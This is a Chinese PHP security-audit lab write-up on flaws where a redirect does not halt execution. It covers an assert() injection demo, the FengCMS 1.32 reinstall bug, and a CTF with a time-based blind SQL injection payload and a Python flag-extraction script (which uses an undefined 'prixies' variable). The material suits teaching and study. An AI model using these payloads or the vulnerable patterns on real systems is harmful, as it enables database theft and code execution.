函数学习
extract :(PHP 4, PHP 5, PHP 7)
功能 :从数组中将变量导入到当前的符号表
定义 : int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )
Demo学习 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php extract($_POST ); function goAway ( ) { error_log("Hacking attempt." ); header('Location: /error/' ); } if (!isset ($pi ) || !is_numeric($pi )) { goAway(); } if (!assert("(int)$pi == 3" )) { echo "This is not pi." ; } else { echo "This might be pi." ; }
在第10行处对$pi
进行验证,如果不是数字或者未设置变量则进行goAway()
方法,记录错误日志并重定向到 /error/ 页面。但程序运行并未使用die
或者exit
停止,导致程序继续运行,在第14行中使用assert()
执行命令。payload为:
1 2 3 4 POST /php/day10/demo.php HTTP/1.1 Host: 127.0.0.1 pi=phpinfo()
案例分析 案例一选取为FengCMS 1.32 ,该版本存在网站重装漏洞,漏洞点在 /install/index.php 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php ... if (file_exists(ROOT_PATH.'/upload/INSTALL' )){ echo '<script type="text/javascript">alert("系统已安装,如需要重新安装,请手工删除upload目录下的INSTALL文件!");</script>' ; echo '<meta http-equiv="refresh" content="0;url=/">' ; } switch ($_GET ['step' ]){ case '1' : include ABS_PATH."/step/step1.php" ; ... case '2' : ... case '3' : include ABS_PATH."/step/step3.php" ; break ; case '4' : ... case '5' : include ABS_PATH."/step/step5.php" ; $in = fopen(ROOT_PATH.'/upload/INSTALL' ,'w' ); fclose ($in ); break ; } ?>
在第20~21行中,当第一次安装完成后,系统会在 upload 目录下生成 INSTAL 文件,表示已经正常安装。再次访问安装页面会先检测 /upload/INSTALL 文件是否存在,如果存在则弹框提示已安装,但关掉弹框后仍可继续安装,程序并未停止或者退出。
案例学习 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php include 'config.php' ;function stophack ($string ) { if (is_array($string )){ foreach ($string as $key => $val ) { $string [$key ] = stophack($val ); } } else { $raw = $string ; $replace = array ("\\" ,"\"" ,"'" ,"/" ,"*" ,"%5C" ,"%22" ,"%27" ,"%2A" ,"~" ,"insert" ,"update" ,"delete" ,"into" ,"load_file" ,"outfile" ,"sleep" ,); $string = str_ireplace($replace , "HongRi" , $string ); $string = strip_tags($string ); if ($raw !=$string ){ error_log("Hacking attempt." ); header('Location: /error/' ); } return trim($string ); } } $conn = new mysqli($servername , $username , $password , $dbname );if ($conn ->connect_error) { die ("连接失败: " ); } if (isset ($_GET ['id' ]) && $_GET ['id' ]){ $id = stophack($_GET ['id' ]); $sql = "SELECT * FROM students WHERE id=$id " ; $result = $conn ->query($sql ); if ($result ->num_rows > 0 ){ $row = $result ->fetch_assoc(); echo '<center><h1>查询结果为:</h1><pre>' .<<<EOF +----+---------+--------------------+-------+ | id | name | email | score | +----+---------+--------------------+-------+ | {$row ['id' ]} | {$row ['name' ]} | {$row ['email' ]} | {$row ['score' ]} | +----+---------+--------------------+-------+</center> EOF; } } else die ("你所查询的对象id值不能为空!" );?>
1 2 3 4 5 6 7 <?php $servername = "localhost" ;$username = "fire" ;$password = "fire" ;$dbname = "day10" ;?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 搭建CTF环境使用的sql 语句 create database day10;use day10; create table students (id int (6 ) unsigned auto_increment primary key , name varchar (20 ) not null , email varchar (30 ) not null , score int (8 ) unsigned not null ); INSERT INTO students VALUES (1 ,'Lucia' ,'Lucia@hongri.com' ,100 );INSERT INTO students VALUES (2 ,'Danny' ,'Danny@hongri.com' ,59 );INSERT INTO students VALUES (3 ,'Alina' ,'Alina@hongri.com' ,66 );INSERT INTO students VALUES (4 ,'Jameson' ,'Jameson@hongri.com' ,13 );INSERT INTO students VALUES (5 ,'Allie' ,'Allie@hongri.com' ,88 );create table flag(flag varchar (30 ) not null );INSERT INTO flag VALUES ('HRCTF{tim3_blind_Sql}' );
分析 在index.php
中第27行接收$id
参数后,使用stophack()
方法进行过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function stophack ($string ) { if (is_array($string )){ foreach ($string as $key => $val ) { $string [$key ] = stophack($val ); } } else { $raw = $string ; $replace = array ("\\" ,"\"" ,"'" ,"/" ,"*" ,"%5C" ,"%22" ,"%27" ,"%2A" ,"~" ,"insert" ,"update" ,"delete" ,"into" ,"load_file" ,"outfile" ,"sleep" ,); $string = str_ireplace($replace , "HongRi" , $string ); $string = strip_tags($string ); if ($raw !=$string ){ error_log("Hacking attempt." ); header('Location: /error/' ); } return trim($string ); } }
第9行中的$replace
为过滤字符串,第10行中如果被str_ireplace()
匹配到则替换为HongRi
并赋值给$string
。到第12行中比较过滤后的$string
参数和原始$id
中的参数是否一致,否则将记录攻击日志,并跳转到 error 页面中。
1 2 3 4 if (isset ($_GET ['id' ]) && $_GET ['id' ]){ $id = stophack($_GET ['id' ]); $sql = "SELECT * FROM students WHERE id=$id " ; $result = $conn ->query($sql );
但此处跳转后程序并未停止,过滤后的$string
后返回到sql语句中。输入?id=1'
调试查看:
$sql
语句中的$id
值为1HongRi
,将会继续带入数据库进行查询。这种情况下考虑使用盲注,但在$replace
中已经过滤掉了sleep
关键字,可以改用benchmark()
函数。
benchmark()函数
用法:
benchmark
函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟
组合盲注的payload为:
1 http://127.0.0.1/php/day10/index.php?id=-1 or if((ascii(substr((select flag from flag),1,1))=1),benchmark(10000000,sha(1)),0)
写python脚本跑flag值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import stringimport requestsalphabet = ",}{_=" + string.ascii_letters + string.digits flag = "" for i in range (1 , 30 ): for char in alphabet: url = "http://127.0.0.1/php/day10/index.php?id=-1 " sql = "or if((ascii(substr((select flag from flag),{0},1))={1}),benchmark(10000000,sha(1)),0)" .format (i,ord (char)) try : req = requests.get(url+sql, timeout=6 , proxies=prixies) except Exception as e: flag += char print(flag) break